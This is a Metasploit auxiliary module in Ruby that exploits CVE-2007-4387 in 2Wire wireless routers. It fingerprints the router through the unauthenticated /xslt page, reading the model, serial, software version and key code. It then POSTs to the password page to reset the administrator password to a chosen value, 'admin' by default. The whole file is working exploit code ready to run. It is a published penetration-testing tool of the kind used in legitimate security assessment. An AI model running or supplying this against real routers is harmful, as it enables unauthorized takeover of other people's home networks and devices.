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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "2Wire Cross-Site Request Forgery Password Reset Vulnerability",
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      'Description'    => %q{
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          This module will reset the admin password on a 2Wire wireless router.  This is
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        done by using the /xslt page where authentication is not required, thus allowing
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        configuration changes (such as resetting the password) as administrators.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'hkm [at] hakim.ws',              #Initial discovery, poc
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          'Travis Phillips',  #Msf module
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2007-4387' ],
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          [ 'OSVDB', '37667' ],
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          [ 'BID', '36075' ],
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          [ 'URL', 'https://seclists.org/bugtraq/2007/Aug/225' ],
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        ],
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      'DisclosureDate' => '2007-08-15' ))
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      register_options(
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        [
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          OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
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        ])
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  end
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  def post_auth?
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    false
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  end
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  def run
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    print_status("Attempting to connect to http://#{rhost}/xslt?PAGE=A07 to gather information")
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    res = send_request_raw(
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    {
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      'method'  => 'GET',
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      'uri'     => '/xslt?PAGE=A07',
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    }, 25)
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    if not res
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      print_error("No response from server")
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      return
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    end
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    # check to see if we get HTTP OK
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    if (res.code == 200)
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      print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header")
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    else
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      print_error("Did not get HTTP 200, URL was not found. Exiting!")
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      return
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    end
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    # Check to verify server reported is a 2wire router
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    if (res.headers['Server'].match(/2wire Gateway/i))
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      print_status("Server is a 2wire Gateway! Grabbing info\n")
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    else
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      print_error("Target doesn't seem to be a 2wire router. Exiting!")
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      return
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    end
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    print_status("---===[ Router Information ]===---")
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    # Grabbing the Model Number
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    if res.body.match(/<td class="textmono">(.*)<\/td>/i)
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      model = $1
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      print_status("Model: #{model}")
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    end
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    # Grabbing the serial Number
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    if res.body.match(/<td class="data">(\d{12})<\/td>/i)
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      serial = $1
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      print_status("Serial: #{serial}")
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    end
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    # Grabbing the Hardware Version
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    if res.body.match(/<td class="data">(\d{4}-\d{6}-\d{3})<\/td>/i)
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      hardware = $1
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      print_status("Hardware Version: #{hardware}")
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    end
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    # Check the Software Version
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    if res.body.match(/<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td>/i)
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      ver = $1
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      print_status("Software version: #{ver}")
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    else
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      print_error("Target is not a version 5 router. Exiting!")
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      return
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    end
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    # Grabbing the Key Code
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    if res.body.match(/<td class="data">(\w{4}-\w{4}-\w{4}-\w{4}-\w{4})<\/td>/i)
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      key = $1
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      print_status("Key Code: #{key}\n")
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    end
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    print_status("Attempting to exploit Password Reset Vulnerability on #{rhost}")
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    print_status("Connecting to http://#{rhost}/xslt?PAGE=H04 to make sure page exist.")
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    res = send_request_raw(
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    {
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      'method'  => 'GET',
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      'uri'     => '/xslt?PAGE=H04',
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    }, 25)
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    if ( res and res.code == 200 and res.body.match(/<title>System Setup - Password<\/title>/i))
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      print_status("Found password reset page. Attempting to reset admin password to #{datastore['PASSWORD']}")
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      data  = 'PAGE=H04_POST'
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      data << '&THISPAGE=H04'
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      data << '&NEXTPAGE=A01'
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      data << '&PASSWORD=' + datastore['PASSWORD']
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      data << '&PASSWORD_CONF=' + datastore['PASSWORD']
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      data << '&HINT='
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      res = send_request_cgi(
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      {
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        'method'  => 'POST',
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        'uri'     => '/xslt',
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        'data'    => data,
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      }, 25)
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      if res and res.code == 200
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        cookies = res.get_cookies
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        if cookies && cookies.match(/(.*); path=\//)
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          cookie= $1
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          print_good("Got cookie #{cookie}. Password reset was successful!\n")
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        end
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      end
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    end
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  end
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end
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